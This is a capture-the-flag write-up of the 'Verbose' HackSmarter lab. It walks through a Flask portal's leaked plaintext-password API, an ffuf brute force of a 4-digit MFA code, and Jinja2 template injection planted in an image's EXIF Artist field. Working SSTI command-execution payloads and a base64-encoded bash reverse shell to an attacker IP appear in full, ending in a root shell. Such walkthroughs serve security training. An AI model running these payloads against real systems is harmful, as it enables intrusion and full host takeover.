Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Verbose

Target Information

Property Value
Target 10.1.202.37
Platform Linux — Flask/Werkzeug “Hack Smarter Portal”
Engagement External penetration test

The scope was an external test against a web application with unrestricted public registration, with the stated goal of reaching root on the host. Tyler’s own note on the brief: there are at least three ways to solve this lab, and solving it more than one way is the point.

Enumeration

Port Scan

nmap -Pn -P -A 10.1.202.37

Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-27 14:08 UTC
Nmap scan report for 10.1.202.37
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:5e:b3:37:b8:63:f4:de:c1:27:93:74:83:d2:dd:f3 (ECDSA)
|_  256 63:82:55:27:8c:cd:99:6c:6f:fb:b2:99:ea:68:c5:1f (ED25519)
80/tcp open  http    Werkzeug httpd 3.1.5 (Python 3.12.3)
| http-title: Hack Smarter Portal
|_Requested resource was /login
|_http-server-header: Werkzeug/3.1.5 Python/3.12.3
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
# … (OS fingerprint trimmed)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT       ADDRESS
1   144.99 ms 10.200.0.1
2   ...
3   153.55 ms 10.1.202.37

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.63 seconds

Just SSH and a Flask app titled “Hack Smarter Portal”, redirecting to /login.

Content Discovery

gobuster dir -u "http://10.1.202.37" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x js,txt,bak,zip,sh,html

# … (banner trimmed)
/login                (Status: 200) [Size: 3309]
/register             (Status: 200) [Size: 3075]
/profile              (Status: 302) [Size: 199] [--> /login]
/messages             (Status: 302) [Size: 199] [--> /login]
/logout               (Status: 302) [Size: 199] [--> /login]
Progress: 37938 / 1543913 (2.46%)^C

/register, /profile and /messages — a normal user app, and registration was open.

Initial Access — Registration

Login Page

Register Page

Registered as tonny_sop with badabing@HBO.com:

Register Form Filled - tonny_sop / badabing@HBO.com

Registered Successfully - Login Form Pre-filled

Logged in and landed on the dashboard:

Dashboard - Welcome Back, tonny_sop

The Profile page had a 2FA toggle, currently off, alongside password/email changes:

Profile - General and Security Settings with Enable 2FA Checkbox

Messages listed the other accounts on the platform — tony, johnny, admin, student — with no messages from any of them yet:

Messages - Inbox and Other Users List

Credential Discovery — /api/users/all

Browsing around as tonny_sop, a request to /api/users/all (referred from /messages) came back fully populated — no role check at all:

API Replay - GET /api/users/all Returns Full User List with Plaintext Passwords

Confirmed it from the terminal with the same session cookie:

curl -s \
  -H 'Cookie: session=eyJyb2xlIjoidXNlciIsInNlc3Npb25faWQiOiI5MzUyYjk2Yi0yMTA4LTQ1NDQtYjc5NS1iZjRlMTEzMmNjZmYiLCJ1c2VyIjoidG9ubnlfc29wIn0.apBH3A.YQPYXQ5LyyZytr7I_igK955zZrc' \
  http://10.1.202.37/api/users/all | jq

[
  {
    "email": "tony@hacksmarter.local",
    "id": 1,
    "mfa": null,
    "password": "basketball",
    "role": "user",
    "username": "tony"
  },
  {
    "email": "johnny@hacksmarter.local",
    "id": 2,
    "mfa": null,
    "password": "dolphin",
    "role": "user",
    "username": "johnny"
  },
  {
    "email": "admin@hacksmarter.local",
    "id": 3,
    "mfa": null,
    "password": "YouWontGetThisPasswordYouNoobLOL123",
    "role": "admin",
    "username": "admin"
  },
  {
    "email": "student@hacksmarter.local",
    "id": 4,
    "mfa": null,
    "password": "liverpool",
    "role": "user",
    "username": "student"
  },
  {
    "email": "badabing@HBO.com",
    "id": 5,
    "mfa": null,
    "password": "WiseGuy123",
    "role": "user",
    "username": "tonny_sop"
  }
]

Every account’s password in plaintext, including my own freshly-registered one. Saved the usernames and passwords for the next step:

cat > users.txt <<'EOF'
tony
johnny
admin
student
tonny_sop
EOF

cat > passwords.txt <<'EOF'
basketball
dolphin
YouWontGetThisPasswordYouNoobLOL123
liverpool
WiseGuy123
EOF

Validating the Leaked Credentials

With five username/password pairs in hand, I replayed them against /login to see which ones actually worked:

Request Replay - 4 Login Attempts with Leaked Credentials, All Succeed

tony, johnny, admin and student all authenticated — student:liverpool returned 200 directly, the rest 302. Checked a few of the resulting sessions:

Dashboard - Welcome Back, student

Dashboard - Welcome Back, johnny

Dashboard - Welcome Back, tony

Every leaked credential was live. admin was the one that mattered.

MFA — Brute-Forcing the Admin’s 2FA Code

Login Page - admin Credentials Filled

Logging in as admin didn’t drop straight into the app — it redirected to a 4-digit 2FA code prompt:

2FA Verification Page - 4-Digit Code Prompt, DevTools Showing the mfa_user Session Cookie

Four digits is a 10,000-value keyspace, well within reach of a filtered brute force:

crunch 4 4 0123456789 -o mfa.txt

Crunch will now generate the following amount of data: 50000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000

crunch: 100% completed generating output
ffuf -w mfa.txt:CODE \
  -u http://10.1.202.37/mfa \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: session=eyJtZmFfdXNlciI6ImFkbWluIiwic2Vzc2lvbl9pZCI6IjkzNTJiOTZiLTIxMDgtNDU0NC1iNzk1LWJmNGUxMTMyY2NmZiJ9.apBUTw.otbS2lyYP8Sjubki71PLncMEQog' \
  -d 'code=CODE' \
  -fr 'Incorrect 2FA Code.' \
  -t 10 \
  -rate 20

# … (ffuf banner trimmed)
________________________________________________

 :: Method           : POST
 :: URL              : http://10.1.202.37/mfa
 :: Wordlist         : CODE: /home/kali/Desktop/HackSmarter/verbose/mfa.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Cookie: session=eyJtZmFfdXNlciI6ImFkbWluIiwic2Vzc2lvbl9pZCI6IjkzNTJiOTZiLTIxMDgtNDU0NC1iNzk1LWJmNGUxMTMyY2NmZiJ9.apBUTw.otbS2lyYP8Sjubki71PLncMEQog
 :: Data             : code=CODE
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Incorrect 2FA Code.
________________________________________________

1310                    [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 147ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

1310 was the one response that didn’t match “Incorrect 2FA Code.” — status 302, a real redirect. Entered it at /mfa and landed in the Admin Dashboard:

Admin Dashboard - Flag, Logo Upload, Server Status, User Directory, Promote User

Admin Dashboard HSM{a4c1520cec85} — the first flag, sitting right in the page header. The dashboard also had a logo-upload feature (“Site Branding”) with a “Preview Current Logo” link, a “Check Health” button under Server Status, the same user directory from the API, and a “Promote User” form.

SSTI via EXIF Metadata — Logo Upload

The logo preview looked like it would render the image’s own metadata back onto the page, so I built a test image to confirm it before touching anything else:

cp test.png probe.png

exiftool \
  -Artist='PATHFORGE_TEST_123' \
  -Copyright='CTF_TEST_456' \
  probe.png
    1 image files updated

exiftool probe.png

ExifTool Version Number         : 13.36
File Name                       : probe.png
Directory                       : .
File Size                       : 4.1 kB
File Modification Date/Time     : 2026:08:29 16:34:57+00:00
File Access Date/Time           : 2026:08:29 16:34:57+00:00
File Inode Change Date/Time     : 2026:08:29 16:34:57+00:00
File Permissions                : -rw-rw-r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 187
Image Height                    : 187
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 222 bytes, use -b option to extract)
Artist                          : PATHFORGE_TEST_123
Copyright                       : CTF_TEST_456
Image Size                      : 187x187
Megapixels                      : 0.035

Uploaded it through the dashboard. The preview page echoed the tags straight back:

Logo Preview - Copyright / Artist: PATHFORGE_TEST_123

Confirmed — the Artist and Copyright EXIF fields land on the page under my control. Next question was whether they’re rendered as a template. Tagged a copy with a minimal Jinja2 expression:

cp probe.png probe-SSTI.png

exiftool \
  -Artist='SSTITEST;{{7*7}}' \
  -Copyright='PF_COPY' \
  probe-SSTI.png

exiftool -Artist -Copyright probe-SSTI.png
    1 image files updated
Artist                          : SSTITEST;{{7*7}}
Copyright                       : PF_COPY

If {{7*7}} evaluated, the field controls server-side template execution rather than just being echoed as text. I moved straight to a command-execution primitive instead of stopping to check the arithmetic separately:

cat > payload.txt <<'EOF'
SSTITEST;{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
EOF

cp probe.png probe-rce.png

exiftool -overwrite_original \
  "-Artist<=payload.txt" \
  -Copyright='PF_COPY' \
  probe-rce.png

exiftool -Artist probe-rce.png
    1 image files updated
Artist                          : SSTITEST;{{config.__class__.__init__.__globals__['os'].popen('id').read()}}.

Uploaded that version and previewed it:

Logo Preview - Copyright / Artist Shows id Output, uid=0(root) gid=0(root) groups=0(root)

uid=0(root) — the Flask app runs as root, and the Artist field is a full Jinja2 SSTI sink. That’s RCE as root. Built a reverse shell payload the same way:

echo -n 'bash -c "bash -i >& /dev/tcp/10.200.87.41/4444 0>&1"' | base64 -w0

YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuODcuNDEvNDQ0NCAwPiYxIg==
cat > payload.txt <<'EOF'
{{config.__class__.__init__.__globals__['os'].popen("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuODcuNDEvNDQ0NCAwPiYxIg== | base64 -d | bash").read()}}
EOF

cp probe.png root-shell.png

exiftool -overwrite_original \
  "-Artist<=payload.txt" \
  -Copyright='PF_COPY' \
  root-shell.png

exiftool -Artist root-shell.png
    1 image files updated
Artist                          : {{config.__class__.__init__.__globals__['os'].popen("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuODcuNDEvNDQ0NCAwPiYxIg== | base64 -d | bash").read()}}.

Tagged root-shell.png with that payload and uploaded it, listener running:

nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.200.87.41] from (UNKNOWN) [10.1.202.37] 56112
bash: cannot set terminal process group (539): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-1-202-37:/home/ubuntu# whoami
whoami
root
root@ip-10-1-202-37:/home/ubuntu# ls
ls
auth
logo.png
myenv
uploads
root@ip-10-1-202-37:/home/ubuntu# cat /root/root.txt
cat /root/root.txt
HSM{a3fec2e83dad}
root@ip-10-1-202-37:/home/ubuntu#

Root shell, confirming the uid=0 finding from the preview — whoami came back root directly.

Attack Path Summary

Open registration — created tonny_sop
↓
/api/users/all leaks every account's plaintext password (no role check)
↓
Replayed all 5 credentials against /login — all live
↓
admin login triggers 4-digit MFA
↓
ffuf + crunch brute-forces the code (1310) — Admin Dashboard reached
↓
First flag: Admin Dashboard header (HSM{a4c1520cec85})
↓
Logo-upload "Preview" renders EXIF Artist/Copyright fields unescaped
↓
Artist field is a Jinja2 SSTI sink — confirmed via id() (uid=0/root)
↓
Reverse-shell payload in the same field → root shell
↓
Second flag: /root/root.txt (HSM{a3fec2e83dad})

Credentials Found

Principal Credential Source
tonny_sop badabing@HBO.com / registered password Self-registered via /register
tony basketball /api/users/all, confirmed via /login
johnny dolphin /api/users/all, confirmed via /login
admin YouWontGetThisPasswordYouNoobLOL123 /api/users/all, confirmed via /login (then gated by MFA)
student liverpool /api/users/all, confirmed via /login
tony:basketball
johnny:dolphin
admin:YouWontGetThisPasswordYouNoobLOL123
student:liverpool
Flag Value
Admin Dashboard HSM{a4c1520cec85}
root.txt HSM{a3fec2e83dad}

Tools Used

  • Nmap
  • Gobuster
  • Browser + HTTP request replay
  • crunch
  • ffuf
  • exiftool
  • netcat